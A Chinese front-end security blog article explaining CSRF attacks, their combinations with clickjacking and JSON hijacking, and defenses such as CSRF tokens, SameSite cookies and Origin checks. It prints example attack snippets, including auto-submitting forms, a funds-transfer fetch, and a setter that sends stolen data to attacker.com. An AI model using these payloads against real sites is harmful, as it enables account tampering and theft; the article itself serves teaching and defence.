阿里云主机折上折
  • 微信号
您当前的位置:网站首页 > CSRF 攻击的危害

CSRF 攻击的危害

作者:陈川 阅读数:33986人阅读 分类: 前端安全

CSRF(Cross-Site Request Forgery)攻击是一种利用用户已登录的身份,在用户不知情的情况下执行非预期操作的攻击方式。攻击者通过诱导用户访问恶意页面或点击链接,利用浏览器的自动携带凭证机制(如Cookie)向目标网站发起请求,从而绕过身份验证。

CSRF攻击的核心原理

CSRF攻击依赖于以下关键条件:

  1. 用户已登录目标网站:浏览器保存了目标网站的会话凭证(如Cookie)。
  2. 目标网站未验证请求来源:服务端未检查Referer头或使用CSRF Token等防护措施。
  3. 请求可预测性:攻击者能构造出合法的请求参数(如修改用户邮箱的API路径)。

典型攻击流程:

sequenceDiagram
    用户->>恶意网站: 访问钓鱼页面
    恶意网站->>目标网站: 自动发送携带用户Cookie的请求
    目标网站-->>恶意网站: 返回操作结果

实际危害场景分析

用户数据篡改

攻击者可构造表单自动提交修改用户信息。例如修改电商平台收货地址:

<!-- 恶意页面隐藏的表单 -->
<form action="https://example.com/address/update" method="POST">
  <input type="hidden" name="address" value="攻击者的地址">
</form>
<script>document.forms[0].submit()</script>

资金转移

针对金融类应用,可能触发转账操作:

fetch('https://bank.com/transfer', {
  method: 'POST',
  body: JSON.stringify({amount: 10000, to: 'attacker_account'}),
  credentials: 'include' // 自动携带Cookie
})

权限提升

结合XSS可实现更复杂的攻击链。例如管理员访问恶意页面后触发角色变更请求:

POST /api/user/role/update HTTP/1.1
Host: target.com
Cookie: sessionid=admin_session
Content-Type: application/json

{"user_id":"victim","role":"admin"}

与其他攻击方式的组合风险

CSRF + Clickjacking

通过iframe覆盖诱导用户点击:

<style>
  iframe {
    opacity: 0;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
  }
</style>
<iframe src="https://example.com/delete-account"></iframe>

CSRF + JSON Hijacking

针对返回JSON数据的API:

Object.prototype.__defineSetter__('secret', function(v){
  fetch('https://attacker.com/steal?data='+v)
})

然后诱导用户访问:

<script src="https://api.example.com/user/profile"></script>

防御措施的局限性

同源策略的不足

虽然浏览器限制跨域AJAX请求,但以下方式仍可绕过:

  • <form>表单提交
  • <img src="...">等标签发起的GET请求
  • 302跳转请求

Cookie的SameSite属性

设置SameSite=Lax可防御部分攻击,但存在兼容性问题:

// 服务端设置Cookie
Set-Cookie: session=abc123; SameSite=Lax; Secure

深度防御方案

双重提交验证

前端生成Token并放入表单和Cookie,服务端比对:

// 前端生成Token
const csrfToken = crypto.randomUUID();
document.cookie = `CSRF-TOKEN=${csrfToken}; SameSite=Strict`;

// 表单提交时携带
<form>
  <input type="hidden" name="csrf_token" value="${csrfToken}">
</form>

关键操作二次验证

敏感操作要求重新认证:

// 转账前验证支付密码
async function transfer() {
  const pwd = prompt('请输入支付密码');
  await verifyPassword(pwd); 
  // 后续执行转账逻辑
}

请求头校验

检查Origin和Referer头:

// Express中间件示例
app.use((req, res, next) => {
  const origin = req.get('Origin');
  if (!origin.includes('trusted.com')) {
    return res.status(403).send('Invalid request source');
  }
  next();
});

现代框架的防护机制

React的CSRF防护

结合Axios拦截器自动添加Token:

axios.interceptors.request.use(config => {
  config.headers['X-CSRF-TOKEN'] = getCookie('csrfToken');
  return config;
});

Angular的HttpClient

默认启用XSRF防护:

// angular.module.ts
@NgModule({
  providers: [
    { provide: HTTP_INTERCEPTORS, useClass: HttpXsrfInterceptor, multi: true }
  ]
})

实际漏洞案例分析

GitHub历史漏洞(2018)

通过<link rel="prerender">标签触发CSRF:

<!-- 可执行登出操作 -->
<link rel="prerender" href="https://github.com/logout">

OAuth授权劫持

恶意网站构造授权回调:

https://oauth.provider.com/authorize?
  response_type=code&
  client_id=legitimate_client&
  redirect_uri=https://attacker.com/callback

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

前端川

前端川,陈川的代码茶馆🍵,专治各种不服的Bug退散符💻,日常贩卖秃头警告级的开发心得🛠️,附赠一行代码笑十年的摸鱼宝典🐟,偶尔掉落咖啡杯里泡开的像素级浪漫☕。‌